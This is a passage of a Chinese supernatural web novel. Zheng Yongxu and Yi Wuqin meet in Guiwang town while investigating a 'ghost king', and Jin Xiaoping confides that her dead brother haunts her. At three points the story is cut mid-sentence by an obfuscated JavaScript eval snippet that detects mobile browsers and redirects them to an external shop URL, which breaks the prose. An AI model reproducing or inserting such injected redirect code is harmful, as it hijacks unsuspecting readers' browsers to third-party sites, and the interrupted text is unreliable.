“已经不痒了,在消了。”昨天在东北还忍不住要挠,回归望镇睡一觉起来已经毫无感觉。 郑咏絮丢了土豆片和藕片下去煮,“屋头没有酸菜和灰粑了,我喜欢煮那个吃。” “你幺婆婆说她过两天做好了给我们送点来,我就没去外面买。外面卖的没你幺婆婆做的好吃。”宋兰芳把锅里的白菜捞完了,又丢了几片下去煮。 一边吃一边宋兰芳开始絮叨,“我不晓得为啥非要你一个娃娃家去东北一趟,马上放寒假了,你爸去不是更好吗?” 这趟去东北,郑咏絮爸爸郑高远和妈妈宋兰芳并不知道真实目的。是随厂搬到益州灵泉去的干妈说东北家里老人去世了,但干妈又没有子女,想让郑咏絮作为子女辈送老人。 童年时,这个老人在归望镇住过几年,照顾过郑咏絮几个月。郑高远和宋兰芳虽然觉得不妥,但郑咏絮表现的样子是很想去,连连喝了好多药保证不过敏。他们也无可奈何,想着孩子确实从小到大没怎么出渝州,现在医疗条件比以前好了很多,就让她去了。 郑咏絮连忙说,“反正没出事,别担心。东北那边挺好玩。” 她忽然想起易无钦,“哎,妈,我问你,你记不记得以前住在教师村那个小男孩,跟我一样大。他是东北的,他妈也是老师,他爸以前在五六-四厂。” 宋兰芳停下筷子想了一阵,才想起来,“你说超超啊?文老师的儿子。” 郑咏絮一愣,“超超?” 宋兰芳:“对啊,是叫易超吧。” 郑咏絮“哦”了一声。 宋兰芳继续说,“我记得。文老师本来在五六-四厂的子弟校教书,后来我们学校请她来兼任教学主任,还给她分了一套教师村的房子。文老师教学水平很不错。唉,可惜了。听说她和她老公都失踪了,现在也没找到。” 郑咏絮脸凑过来,“那你知道啥内情不?” 宋兰芳瞥了她一眼,“我能知道啥?学校不让讨论这件事,镇上压着消息呢。厂子搬走了就更没人说这事,后来的人都不大知道。我听镇上说是失足坠崖了,山里面嘛,也正常。你问这个干啥子?” 郑咏絮眨眨眼,“金小萍不是托我去找她哥金海军吗?你说好巧不巧,金海军住的小区就是东北五六-四厂的家属区。更巧的是,金海军租的房子隔壁,那个男生,居然就是你说的那个文老师的儿子。” “这么巧?”宋兰芳诧异说,“那孩子现在怎么样了?” 郑咏絮撇嘴,“他姥姥刚去世两个月,他现在一个人。” “唉,真可怜。”宋兰芳感慨。 郑咏絮继续说,“我还跟他聊了聊,他说现在一个人想到处走走。大概率年后会来咱们归望镇看看,住上几个月也说不定。” “可以呀,他来了的话你叫他来家里做客。”宋兰芳斜睨着她,“他长得挺帅吧?” 郑咏絮一滞,抬头看她,“妈你说啥?好端端问人家帅不帅。” 宋兰芳嗤笑一声,“我还不知道你?肯定是长得帅你才上心打听。” 她又继续说,“其实也还是有点缘分。你这名字都是他妈妈起的。” “啊?” 宋兰芳将锅里煮好的土豆片夹到郑咏絮碗里,“我生你那天是小雪节气。本来想给你起名叫郑雪或者郑小雪。文老师和其他老师来医院看望我,听到我和你爸在讨论名字。文老师说,叫咏絮吧,既有底蕴又有意境。所以你才有这名字。你姐上学后学了点知识,为这名还闹过你伯父伯母,嫌她那个燕太俗了,要他们改个比你的名字更有文化的。你伯父伯母没有理她。” “哦,哈哈哈。”郑咏絮想到在她面前一向趾高气扬的郑燕,因为名字被气哭了就暗暗开心,去冰箱里拿了一瓶可乐拧开喝。 母女俩吃完后,收拾了碗筷,郑咏絮让宋兰芳去休息,自己在厨房洗碗。弄完以后,她才拿出手机看,发现郑高志留了信息让她醒了打电话。 她把手机丢回兜里,回火炉屋烤火。 等宋兰芳出门去上班后,郑咏絮才拿出手机给郑高志打了电话。 “伯父,我起床了。刚刚妈妈回来和我吃饭,我没看手机。”郑咏絮一点也不想让爸妈知道这些事情。 电话是告诉她去金万堂那里,郑咏絮闭着眼睛也猜到了。 她伸了个懒腰,慢条斯理收拾,出门时已经接近三点。 今天冷飕飕的,归望镇不像东北那样冷得彻底。郑咏絮抬头看看天,阴沉沉的。 金万堂约见的地方一般都是他在镇上开的那个茶室。 那个茶室外面看着一般,但进去后的装修非常奢华。郑咏絮每次去都暗自吐槽,明明是茶室,但一点文化底蕴都看不出来,装修得大金大红的,好像生怕别人不知道他很有钱。郑咏絮称之为“暴发户审美”。 这自然也不是真正用来品茗,而是金万堂招待生意上的伙伴的地方。要不是因为自己是祭童,恐怕还不配进来呢。郑咏絮一边走路一边在心里吐槽。 金万堂在茶室的后院等她,郑高志也早就到了。露天的庭院中间烧了一个火盆,上面架着小炉子。服务员走过来将上面烧开的水壶提起来缓缓倒入醒好的茶中。 “雪雪来了?正好开始泡茶了,今天泡的是你喜欢的漳平水仙。”金万堂看见她,温和地笑。 郑咏絮乖巧地走过去喊了声,“万堂公公。”她又朝郑高志喊了声,“伯父。” 金万堂示意她坐下,“这次辛苦你了。你伯父告诉我,你去东北还是很受罪,睡也睡不好,长了那么多疹子。” 他拿起桌子上的信封递给郑咏絮,“快过年了,公公年龄大怕忘事,提前把压岁钱给你。”转头又朝室内喊了一声,立即有个小伙子过来了,“郑元,你明天或者后天开车带雪雪上宾化,给她买一部最新款的手机。” “好的。”郑元答应后就下去了。 郑咏絮大大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526740|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方方收下厚度可观的信封,甜甜笑着,“谢谢万堂公公。我其实没啥,主要是小萍妹妹。她还那么小,昨晚回来后她睡得还好吧?” 金万堂叹了口气,“她也是可怜。我给她请了假,这几天都在家里休息。元旦过完再回去上课,马上期末了,也不敢让她休息太久。你是姐姐,空了也多关心关心她。” 郑咏絮点点头,“嗯嗯。” 茶泡开了,服务员正欲上来服务,被郑高志拦住,让她下去。 郑高志端起茶壶,缓缓往三人杯子里倒茶。不一会儿,漳平水仙的茶香满溢其间。 “好香,万堂公公的茶就是好。”郑咏絮笑道。 金万堂呵呵笑,“这是陈茶,味道比新茶要好。” 喝了一会儿茶,郑高志开口了,“雪雪,你把这次去东北的情况跟你万堂公公详细说下。” 郑咏絮放下杯子,开始了早就准备好的说辞:“我去了两三次,最后一次才在楼梯间碰到了那个男生,他叫易无钦。算算时间,碰到他的时候可能正好是海军去世的时间。” “我确认过了,他也出现了红线,和我一样。” “他的姥姥去世了两个月,现在是个孤儿了,毕业了也没上班。现在正是心情无比郁结的时候。我在安慰他的时候,稍稍一说归望镇,就让他想起了当年在这里住过几年。再一引导,他就想着要来归望镇看看,也当是外出散散心,说不定能找到他父母失踪的线索。但因为姥姥是新丧,他要在东北过了年再来。” 金万堂盯着她,“确定他要来吧?万一他想去别处散心呢?” 郑咏絮故作轻松笑道:“我们加了微信,这段时间我再多跟他聊聊呗。”她低下头作出略略害羞的样子。 郑高志忍不住说,“你和他该不会见一面就好上了?” 郑咏絮脸都红了,恼羞说,“伯父你不要乱说。” 金万堂呵呵笑了起来,“咱们雪雪长得这么漂亮,镇上喜欢她的小伙子多得很。那个易什么喜欢她也很正常嘛。年轻人,为爱冲动也是好事。” 他咳嗽两声,又说,“你怎么跟他解释红线的事情的?跟他说了祭童和鬼王?” 郑咏絮摆摆手,“没有,我没说。我跟他说红线属于是没法用现代医学和科学道理解释的一种正常现象,我们归望镇的人也出现过。而且极少数的人才能看到,大概是视网膜哪里不一样吧。” “他信了?” 郑咏絮点点头,“信啊,这个东西去医院又查不出啥来,当然是我说啥就是啥。” “行,重要的是他来。”金万堂缓缓喝着茶,微微失神,不知道在想什么。 等了好一会儿,郑高志忍不住出声提醒,“万堂叔,还有啥子事要问雪雪没得?” 金万堂回过神来,摆摆手,“没事了,雪雪回去好好休息嘛。等过年。” * 过年是一个半月后了。 易无钦是在殷老太家吃了年夜饭才回的自己家。 家里就他一个人,太孤单了。往年有姥姥,无论如何都是热闹的。 烧了该烧的纸,放了该放的鞭炮。易无钦站在雪地里,看着其它小孩堆雪人。 这段时间以来,除了凭回忆准备过年的事,就是筹备去归望镇了。归望镇的冬天是不下雪的。 想到这里,他拿出手机拍了张堆雪人的照片,发送给了郑咏絮。 很快,郑咏絮就回复了一张放烟花的照片。 易无钦弯了弯嘴角,抬头去看夜空中绚丽多彩的烟花。 新年快乐,郑咏絮。 新年快乐,归望镇。 11. 归望 三月初,春日正盛。 易无钦到达归望镇的时候正是漫山盛开油菜花的时节。这让他略略有些意外,因为在东北,油菜花差不多都是五六月才盛开。 这大概就是南北的差异吧。 现在已经过完大年了,归望镇的年味也即将消失殆尽。易无钦拖着行李箱在镇上转了好一会儿,最终选了镇政-府对面广场旁的旅馆。 其实按照金万堂给郑咏絮的暗示,他可以直接入住镇上最好的那家酒店,费用由金万堂全包。 但郑咏絮和他悄悄商量了下,目前状况还是以明面上易无钦啥也不知道为好,他就是来归望镇采风散心的。 他在旅馆里好好睡了两天。 在东北时,易无钦身上的不适感逐渐加重。虽然不像郑咏絮那样长疹子,但脖子上的窒息感越来越强。 这些不适感在到达归望镇后很快就消失了,连呼吸都无比顺畅。 下午睡醒后,易无钦看到郑咏絮给他发的信息,晚上一起吃烧烤。 他很快就回复了好。 来到归望镇这两天,一直都没看到郑咏絮,连信息都发得少。 易无钦认认真真洗了个澡,给自己好好捯饬了一番,又从行李箱里翻出了一个小盒子,揣进兜里。 * 烧烤摊就在广场上,易无钦到的时候,郑咏絮正拿着一个筐子装菜。 “来看看,你喜欢吃啥,都放里面。”郑咏絮头也不回地说,专心致志选菜。 “多拿点肉串吧。”易无钦主动接过筐子。 选了一筐子的串交给老板,郑咏絮又嘱咐了几句:“少辣椒,不放折耳根,豆干不要剪,穿着烤。” 她选了个桌子,招呼易无钦坐下。 “你来的这两天还习惯吧?”郑咏絮甜甜笑着。 易无钦点点头,跟着笑起来,“睡得很好。” 这一次,郑咏絮终于没戴口罩了,脸上也没有她说的疹子。易无钦第一次认认真真看清楚了她的样貌。 郑咏絮长得挺漂亮,清清秀秀的小姑娘。皮肤白皙,五官小巧,一双杏眼灵动澄澈,笑起来时又变成一弯月牙,十分甜美娇憨。 “你的疹子都好了吗?” 郑咏絮点点头,“回来没两天就全消了,痘印都没留一个。” 易无钦不好总盯着她的脸,低头移开目光,端起桌上的茶水喝了一口。 他找了话题来聊,“你在上班了?” 郑咏絮点点头,“在大学的图书馆当管理员。” “在镇上吗?” “不在,在宾化郊区。镇上有交通车,坐过去二十分钟就到了。” 这份工作是爸爸郑高远托了关系给她安排的,没有编制,是合同工。工资不高,但一应福利待遇都还不错,甚至还能跟着大学师生们休寒暑假。工作内容也比较轻松,周围同事差不多都是走关系进来的,都是很佛系的人,相处起来彼此愉快。 对于并不要求高工资养家的她来说,这简直是多少人梦寐以求的神仙工作。看起来是稳定轻松的体体面面,又不会像宋兰芳担心的那样劳累引发出身体的毛病。 “我现在来归望了,接下来是做什么?”易无钦问道。 郑咏絮摇头,“金万堂啥都没说,只要你待在归望镇就行。” 易无钦又问,“那你怎么想?需要我做什么?” 郑咏絮长出一口气,“现在咱俩啥也做不了,静观其变吧。不过我在图书馆上班倒是有个便利,我能查阅资料又不引起他们的怀疑。所以我想查查归望镇的历史,了解那个鬼王到底是什么东西。” 说到这儿,老板将烤好的烧烤端了上来,两人边吃边聊。 这里的烧烤不像东北大签大块大口吃肉,用的都是细签分量也精巧。除了郑咏絮特意叮嘱的烤豆干,其他素菜都剪碎和佐料一起装在盘子里。东北烧烤更重肉类的本味,这里的烧烤口味更复合。 易无钦觉得很好吃。 “你这段时间在东北干啥呢?”郑咏絮问道。 易无钦吃完一根肉串,“没干啥,就把家里好好收拾下,该交代的交代了。毕竟要离家这么久。” 说到这里,他把签子放在桌上,从兜里拿出一个盒子,递给郑咏絮,“送你的。” “什么?”郑咏絮放下筷子,接过来打开,立即小声惊呼,“金坠子?” 易无钦朝她笑了笑,伸手从自己的颈间摸出一根细绳,上面也挂着一个金坠子,“我找金店定做的,做了两个,你一个,我一个。” 郑咏絮拿出坠子细细看,“这是,我给你的那个吊坠?” “对。”易无钦说,“你也戴着吧,我觉得它是有用的。” 他又将之前郑咏絮给他的坠子拿出来,“这个坠子你从哪里得到的?” “我一个舅舅送我的,说是保佑平安。”郑咏絮回答,她看易无钦若有所思的表情,又问,“怎么了?这个东西有说头?” 易无钦四处看了看,见并没有人注意他们,这才开口,“你还记得我被金海军魇住的那个晚上吧?” 郑咏絮点头。 “你上来了,我就挣脱开了。”他说。 郑咏絮点点头,“我看你躺在那儿动也不动,猜你就是出事了。好在我一上去你就好了。” 她四下看了看,犹豫了一会儿才说,“这事儿吧,我有个事情跟你说一下。我在金万堂那里说的是,金海军两个多月都突破不了你姥的禁制,是我去了帮他突破的。” “其实我啥也没做,包括你被魇住了,我猜或许是祭童有啥心灵感应,把你救了吧。” 易无钦沉默了一小会儿,才开口说,“我觉得不止是你,还有这个吊坠的作用。我是听到了鼓声和蛙鸣,才有了力气挣脱。” “鼓声,蛙鸣?”郑咏絮大惑不解,拿着坠子左看右看。 易无钦奇道:“你也不知道这雕刻的是啥吗?” 郑咏絮摇头,“不知道,只看得出是个鼓。我那舅舅是看我要出远门,让我带上辟邪。他也没说这是啥。” 她看着易无钦,“要不,我去问问舅舅?” 易无钦点点头,“可以问问。我也找了我的高中历史老师,请他帮忙查查看。” 郑咏絮将原本的坠子小心翼翼收好,又将易无钦给她的金坠子戴在脖子上。 她细细回忆了一番,犹豫说,“可我觉得它也不一定很有用。”她给易无钦讲了在东北那晚,和金小萍看到鬼影的事。 “当时吊坠就在我身上,但我仍然遇事儿了。多亏我姐救了我和小萍。” 易无钦听到鬼影,惊惑不已,“那个鬼影,是金海洋吗?”他接着说了自己几次遭遇鬼影的事。 郑咏絮听得心惊胆战,半晌都不说话。 “怎么了?”易无钦看她呆呆的样子,关心问道。 郑咏絮低垂下头,“莫名感到害怕。” 自从知道鬼王和祭童的事情以来,郑咏絮心中除了气愤,些许无奈,更多的却是豪气,一种要自己掌握命运的傲气。即使从小体质特殊,她也从未看轻自己,仍然觉得有朝一日可以任由她闯荡江湖。 可一个鬼影让她觉得害怕了,第一次强烈感受到鬼王是真实存在的。更害怕的是,正如那晚房间里那个鬼影,她对着它什么也做不了。对未知的恐惧和未来的不确定暂时压倒了她的傲气。 易无钦安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526741|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,“别害怕,咱俩是一起的。都现代社会了,管他什么妖魔鬼怪,必须消失。” 他将豆干递给郑咏絮,笑道:“其实在我遭遇那几次鬼影后,我就想通了一件事。” 郑咏絮接过豆干,问道:“什么?” “他也只能吓唬吓唬人而已,要真是能力强大,早就把我们收走了。”他看着郑咏絮说,“你想想,我姥姥一个普通人,能在东北保护我十多年。说明这个所谓的鬼王,不是不可战胜的。” 他将一把肉串放到郑咏絮面前的盘子里,“有害怕是正常的,我也有很怕的时候。咱们互相鼓励着,保持这种我们一定胜利的精神。” “你太瘦了,多吃点,身体是革命的本钱。” 郑咏絮低头吃着豆干。 “先不聊这个了,咱们聊点别的吧。”易无钦说。 “好啊。” 易无钦边吃边说,“我住的那个旅馆,环境还挺不错,干干净净的,也不吵闹。我打算跟老板谈下长租三个月,你们这里是个什么行情价。” 郑咏絮摊了摊手,“这我就不知道了。我都住家,不了解酒店的价格。” 她思索了一番,“不过旅馆的老板我是认识的,金盛,挺好一人。待会儿我跟你一起去跟他聊价格。” 放下豆干,郑咏絮从包里拿出一个塑料袋装的小包,递给易无钦。“这个你拿着。” 易无钦透过塑料袋看见里面是用报纸包裹着什么东西,他拿起来一掂,立刻就明白了是什么,“钱?” 郑咏絮点点头,“你现在没工作没收入,虽然镇上花费不多,但始终是要开销的。你也别客气,这是金万堂的钱。一万块,花完了我再找他要。” 易无钦笑着将钱还给郑咏絮,“钱的事情不用为我担心,姥姥留下的钱我都没动。而且我的朋友同学还有学长们都在给我介绍单子,做一张图几百块,生活是没问题的。” 他又说,“这钱你自己留着吧,买点自己喜欢的东西。” 郑咏絮见他坚持不收,也不勉强,将钱放回了包里。 两人吃完了烧烤,在广场上溜达了一圈,回到了旅馆。 郑咏絮走在前面,一进门就看见前台的人。 “金盛!”她主动招呼。 金盛抬起头看见他俩,也热情回应,“雪雪,你怎么来了?” 郑咏絮指着易无钦对他说,“这是我朋友,他想在归望镇住几个月。觉得你家旅馆不错,你这里长住多少钱?熟人熟事的,你算便宜点。” 金盛笑着说,“你的朋友我肯定给最优惠的价格。这样吧,五百块一个月,清洁我包,每天打扫。你想住多久住多久。” 郑咏絮回头看着易无钦,见他点点头,知道是接受了。“要得,金老板大气,生意兴隆。我朋友从东北来的,在这里人生地不熟,住在你这里我也放心。麻烦你帮衬着点。” “没问题,在我这儿安全得很。”金盛哈哈大笑。笑完后又看着易无钦,欲言又止。 “雪雪,你这位朋友,我怎么觉得有点面熟?” 郑咏絮笑道,“他小时候在咱们镇上住过的。” 金盛恍然大悟,对着易无钦说,“我看你登记的名字是姓易,你是不是易超,超超?” 易无钦点点头,面露疑惑。 金盛喜出望外,“我就说你面熟,你还记得我不?小时候我们一起玩耍?” 易无钦看着他细细思索,最终遗憾摇头,“对不起,那会儿我太小了,记不清了。” 金盛略略失望,但很快又开心起来,“没事没事,既然都是老熟人,你就安心在我这里住,需要啥子跟我说就是。” “欢迎你回来。” 12. 害怕 天气预报上说,这几天都是大好晴天。 易无钦在天台上晾晒衣服的时候,看到远处乡野间大片大片的黄澄澄,那是正在盛开的油菜花。 他决定趁着春日四处走走。 有当年三线建设的基础,归望镇是宾化县的工业名镇,这些年发展也快。易无钦住的旅馆在新大道的广场上,是归望镇最繁华的地段。政-府机关单位、大型超市、大酒店以及游乐设施都在这里。 易无钦对新大道印象不深,他幼年离开时,新大道才刚修好。人们主要活动地区是原来的老街。 他特意去老街逛了逛,发现这里也没有因为新大道修起来就落寞,还是十年如一日地继续热闹着。主要的道路大体都没变,甚至很多建筑也是老样子,隐隐约约还能记起来。 他没在老街待多久,他现在真正想去看的,是五六-四厂的旧址。 金盛跟他说过,五六-四厂搬到益州灵泉后,旧址就落寞了,那个地方本来原住民就少。后来宾化县政-府改造了厂区,将监狱搬过来。但原本的家属楼和生活区仍然空置的多。 易无钦拿着一台微单相机,边走边拍。在沿小河沟走过一大片田野后,五六-四厂终于到了。 曾经的五六-四厂是归望镇最繁华的地方,从东北和益州来的几千人在这里投身三线建设。易无钦的爷爷奶奶是第一代工人,他的爸爸算是“三线子弟”,可是到了他这里,对三线的概念已经模糊了。 这里的大部分建筑都还留着,电影院、篮球场、贸易区等等,只是被改造成了其它用途。 曾经的幼儿园倒是完全荒废了,杂草丛生在砖石间。易无钦在这个幼儿园上了两年学,第三年跟着妈妈搬到老街的镇小学教师村里,在小学上了一年学前班。他不记得任何幼儿园同学或者老师的名字,记忆中剩下的只有这房子了。 再往前走,是厂区的医院,倒是没有荒废,甚至还整修了。易无钦看了看,门口挂的牌子:疗养院。 三三两两的病人,正在院内空地懒洋洋晒太阳,偶尔起来走动。 应该还有一些回忆,比如爸爸工作的地方。但那是现今的监狱内了,进不去,看不着。 易无钦继续闲逛,拿着相机拍摄童年的记忆。 虽然不复当年的辉煌,但这里景色倒挺别致。新春的花草,从旧日的建筑上长出来。他心中一动,前天师兄打电话说下周有一个新楼盘的设计要做,画面倒还简单,难的是创意。 这两年流行情怀牌,如果把怀旧风糅合春意,说不定能打动客户。 易无钦拿出手机拍了几张阳光下的建筑照片,发给师兄,并文字说明了自己的想法。 师兄没有马上回复,大概是在忙工作吧。 他又倒回去疗养院那里,觉得那些晒太阳的病人也很入画。他知道虽然这个照片是给师兄和自己找灵感用,但直接拍人家脸还是挺冒犯。于是他跑来跑去找角度,想拍几张背影。 那些人虽然对陌生人感到好奇,但也不介意他拍。选了几个角度拍好后,易无钦觉得很够用了,满意地往回走。 一转头,一双黑漆漆的眼睛直勾勾盯着他。 易无钦吓了一大跳,后退一步,看清面前是一张大而惨白的脸,几乎没有血色。 他的心“砰砰”直跳,几乎就要大喊出来。怕不是金海军又缠上来了? “嘿嘿,你在拍照啊?”大白脸开口说话,都快把脸凑他脸上了。 易无钦吓到说不出话,愣在原地,脑中一片空白。 大白脸仍然在嘿嘿笑着,手舞足蹈,“给我拍照嘛,给我拍照嘛。” 易无钦略略稳定了心神,缓过劲儿来,发现面前的大白脸跟金海洋长得完全不一样,他穿着病号服,眼神仍然直勾勾地,神情并不正常。 一位老奶奶跑过来,紧紧拉住大白脸,“郑飞,你不要去吓别个。”她一边说着一边跟易无钦道歉,“对不起哈,他脑子有问题。没有吓到你吧?” 她说的是当地话,但易无钦一下就听懂了,他平复心情,笑着摆摆手,“我没事。” 老奶奶扯着郑飞往院里面走,郑飞却不愿意,一边挣扎一边喊,“我要跟他耍,我要跟他耍。” 老奶奶气得拍他,“认都不认识的人,耍啥子?” 郑飞梗着脖子喊:“我认识他,他是超超。” 易无钦愣住了。 老奶奶加重了力气,使劲拽着郑飞往院里走。他们的身影逐渐消失在疗养院的楼栋里,只剩下郑飞的声音还萦绕在易无钦的耳边,“超超,来找我耍。” * 虽然是个闲工作,但开学季还是要忙一点的,各种会议特别多。 郑咏絮被派去宾化县里参加一个传达精神的会。 会议要开一天,不过中午倒是有三个小时的休息时间。 郑咏絮决定去县里溜达。 宾化县这两年新修好了一座两万平的体育中心,据说是可以承接国家级体育赛事的规模。不过赛事暂时没看到,县里人倒是很喜欢来体育中心玩,慢慢地很多商家也往这附近搬,成了宾化新城区最热闹繁华的地段。 今天天气好,很多人聚集在体育中心的空地上玩。好多家长带着孩子玩摇摇车、碰碰车、充气堡之类的游乐设施,也有很多小吃摊主忙着炸狼牙土豆、烤烤肠,热闹得很。 郑咏絮一时嘴馋,决定去买点小吃。 她选了个有位置可以坐的摊位,要了碗狼牙土豆,又要了串苕皮,叫老板先准备着,她再去买杯奶茶。 奶茶店就在旁边不远,郑咏絮刚选好口味,一抬头却在奶茶店里看见了一个熟人。 “小萍,你怎么在这儿?”她走过去,“吃饭没有?” 愣愣的金小萍被她一问仿佛受到了惊吓一般,整个人缩成一团。 郑咏絮觉得奇怪,“小萍你怎么了?是不是谁欺负你了?” 金小萍这才抬起头看她,看清楚后,整个人略略放松了一点,“咏絮姐姐。” 她的状态明显不对。郑咏絮看着奶茶店人来人往,不是个好说话的地方,又给金小萍点了一杯奶茶。等两杯都做好后,她拉着金小萍离开奶茶店,回到刚才的小吃店。 她又在小吃摊位上选了一些吃的,然后让老板在空地无人又有阳光照着的地方摆了桌子板凳。 这里空旷没人打扰,也没人听得到她们说话。 郑咏絮将吸管插-进去,把奶茶递给金小萍,“妹妹,你有事都可以跟我说。” 金小萍接过奶茶,在嘴里浅浅啜饮。她看上去脸色惨白,眼下一圈乌青,眼里带有怯意。整个人比起过年那会儿好像又瘦了点,一看就是没休息好的样子。 郑咏絮认为这应该不是因为她还沉浸在金海军去世的悲痛中,因为过年那会儿她见过好几次金小萍。虽然她仍然不可避免地悲伤,但已经接受了现实,不是走不出来的人。 她把手放在金小萍额头上感受温度,发现她也没生病。 “姐姐,我只能跟你说。”金小萍喏喏开口,声如蚊呐。 “这些日子,我经常看到我哥。一开始是做梦,后来我一个人的时候也会看到他。”金小萍越说越小声,几乎都快哭了出来,“我晓得那是我哥哥,但每次看到他的时候,我觉得很害怕。” 郑咏絮几乎是集中了所有精神去听她说话,在听清楚她说的内容后,立马汗毛都立起来了。 “是,是咱们那个晚上看到的白影吗?” 金小萍点点头,“我很害怕一个人呆着。在学校还有老师同学,可中午大家都各自去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526742|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭了,我不想呆寝室。今天天气好,我想广场上人多热闹。在人多的地方,我能好点。” 她抓着郑咏絮的手,“姐姐,那个白影是我们一起看到的,我也只能跟你说。其他人都不会相信我的。” 这会儿老板将小吃都端上来了,郑咏絮催促她赶紧多吃点东西。 “中午你出来,那晚上呢?你该不会都在外面吧?”郑咏絮担心地问。 金小萍摇了摇头,“外面更危险,晚上我只好呆在寝室里,每天晚上都是早早洗了上-床睡觉。我强迫自己必须早点睡,在其他人睡觉之前必须睡着,我才稍微好点。” 郑咏絮听得都没心情吃狼牙土豆了,捧着奶茶问道:“你咋知道那是你哥?咱们在东北的时候问过那个奶奶,她说的是不一定哦。” 金小萍擦擦眼泪,“我就是知道那是哥哥。虽然我看不到他的样貌,但我就是知道,说不清楚原因的。” 郑咏絮顿了顿,又问,“那他是什么样子?是我们在酒店里看到的那样吗?” 金小萍:“不是。这次不是影子,他穿着下葬时的寿衣。他每次都是背对着我。但是,我能感受到,虽然是背面,他其实一直在看着我。”她忍不住颤抖,“姐姐,你明不明白那种感觉?” 郑咏絮头皮发麻,感觉背心凉飕飕的,她又将桌子移动了下,让阳光彻底照射在两人身上,感觉暖和一点。 “我大概明白,其实那晚在酒店也是这样,脸没对着我们,但能感觉到他在看我们。” 金小萍赞同地点点头,“就是这样。”她停顿片刻,又说,“一开始,我只是梦见他,不知道什么场景,他突然就出现了,在那里不说话,就静静地立着。但他一出现,我就很害怕,然后我就醒了。” 一个星期前,学校开学,金小萍住进了宾化一中的寝室。晚上仍然睡不好觉。有天半夜醒来,想去上厕所。然而刚起身,透过半透明的蚊帐往外一看,一个人立在寝室当中。 她以为是同寝室的其他人也起来上厕所,于是等了一会儿,想等人家上完了再去。 等了半天没听到动静,她又探头去看,发现那个人还在那里立着,一动也不动。 金小萍想看清楚怎么回事,她拉开蚊帐,发现那个人背对着她。借着外面隐隐约约的灯光,她看清了这个人穿的衣服。 再熟悉不过,那是哥哥下葬时的寿衣。 他背对着她,他正在看她。 金小萍汗毛炸飞,寒意顺着脊背发散到全身,巨大的恐惧包裹住了她。 好在这时,隔壁床传来动静,室友起来上厕所。金小萍悄无声息回到被窝里紧紧裹住自己。她大着胆子趁着动静再往外看,“哥哥”没了。 又有一次中午,金小萍没在教室休息,一个人回到寝室取东西。刚从床上拿了东西准备开门离开。忽然没由来感到汗毛倒立头皮发麻,一股寒冷浸入了骨髓,跟那天晚上的感受几乎是一模一样。 她同样感到害怕极了,强撑着回过头,穿着寿衣的“哥哥”又出现了,静静立在她的身后。 金小萍不敢回忆自己当时是怎么跑出寝室的。从那天起,她尽量避免一个人待着。可这样仍然会时不时觉得寒冷,继而感到害怕。所以天气好时,她宁愿跑出学校到外面人多的地方来。 郑咏絮听完就沉默了,不知道该说啥。 眼看下午上课的时间也近了,她只好劝说道:“小萍,先吃点东西吧,身体才是最重要的。否则身体垮了精神也会垮。” 金小萍点点头,默默吃着那些炸串。 郑咏絮想了想,“这样,我回去让我妈去庙里求个符之类的,多少有点用。你呢,还是尽量不要一个人,有啥事一定告诉我。就算我不能解决,起码帮你分担。” “谢谢姐姐。” 13. 伙伴 吃晚饭时,郑咏絮就跟宋兰芳讲了要求平安符的事。她只说是因为金小萍经常做噩梦,没有提她遭遇。 作为在校教书几十年的资深教师,宋兰芳自然是不信这套封建迷信的。“睡不好觉就去看看医生,让医生开药更好。” 不过她还是立马打电话给郑咏絮奶奶的三姐,这个三姨婆是家族里最迷信的人,多少懂点。三姨婆听了后立马答应下来,说明天就去道观里请师傅画符。 挂了电话,宋兰芳回头看见郑咏絮正抱着手机跟人聊天。 她好奇问:“跟谁聊呢?是不是那个易超?年前你说他要来归望镇的。” “哎呀,不是,我在跟同事说工作的事。学校过几天有个讲座,我们图书馆也要负责一些事情。”郑咏絮头也不抬。 “哦,那个易超是不是已经来了?”宋兰芳又问。 郑咏絮聊完工作了,放下手机,“对头,来了,住在金盛家旅馆里。” 宋兰芳玩味地笑,“前两天你没回家吃晚饭,是和他一起吃烧烤去了吧?” 郑咏絮抬头看了她一眼,又低头看手机,没有回答。 宋兰芳继续说,“别人看见都告诉我了。我看你这两天脖子上挂了个金坠子,是他送的?” 郑咏絮“嗯”了一声。 宋兰芳从她脖子里扯出金坠子来看,“啧啧,真是纯金呢。不便宜哦,你怎么随随便便收人家礼呢?” “他在追我。”郑咏絮面不改色心不跳。 宋兰芳:“那你答应了吗?不答应就还给人家。” “还没呢,不过快了吧。”郑咏絮将金坠子塞回衣服里。 宋兰芳瞥了她一眼,“你现在还年轻,谈谈恋爱可以,如果要结婚就必须好好考虑。” “考虑啥?”郑咏絮问。 宋兰芳瞪着她说,“他是外地的。” 